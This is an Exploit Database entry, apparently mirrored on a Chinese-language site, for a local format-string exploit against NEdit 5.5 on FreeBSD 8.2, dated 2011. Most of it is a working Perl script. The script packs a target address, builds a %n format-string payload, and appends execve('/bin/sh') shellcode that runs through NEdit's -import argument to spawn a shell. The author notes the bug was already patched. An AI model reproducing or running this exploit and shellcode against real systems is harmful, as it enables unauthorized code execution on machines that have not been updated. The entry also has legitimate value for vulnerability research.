NEdit 5.5 – Format String

• Exploit Database
• 34 阅读

• 作者： Tosh
  日期： 2011-04-14
• 类别：

  • local
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/17169/

• # Exploit Title: Format string vulnerability in Nedit <= 5.5.
  # Date: 04/13/2011
  # Author: Tosh (The bug was already patched when I'd found the vuln)
  # Email: tosh@tuxfamily.org
  # Patch:
  http://nedit.cvs.sourceforge.net/viewvc/nedit/nedit/source/preferences.c?r1=1.159&r2=1.160&view=patch
  # Version: Nedit 5.5
  # Tested on: FreeBSD 8.2-RELEASE
  # CVE: don't found
  
  
  #!/usr/bin/perl -w
  
  use strict;
  
  my $exit_addr = 0x0815a86c;
  
  my $sc =
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
   "\x54\x53\xb0\x3b\x50\xcd\x80";
  
  my (@payload) = ("./nedit", "-import", 
  pack('L',$exit_addr).pack('L',$exit_addr+1).pack('L',$exit_addr+2).pack('L',$exit_addr+3).
  
  "%1021\$.8x-"."%1\$127x%1021\$n%1\$083x%1022\$n%1\$212x%1023\$n%1\$256x%1024\$n"
  . $sc);
  
  exec(@payload);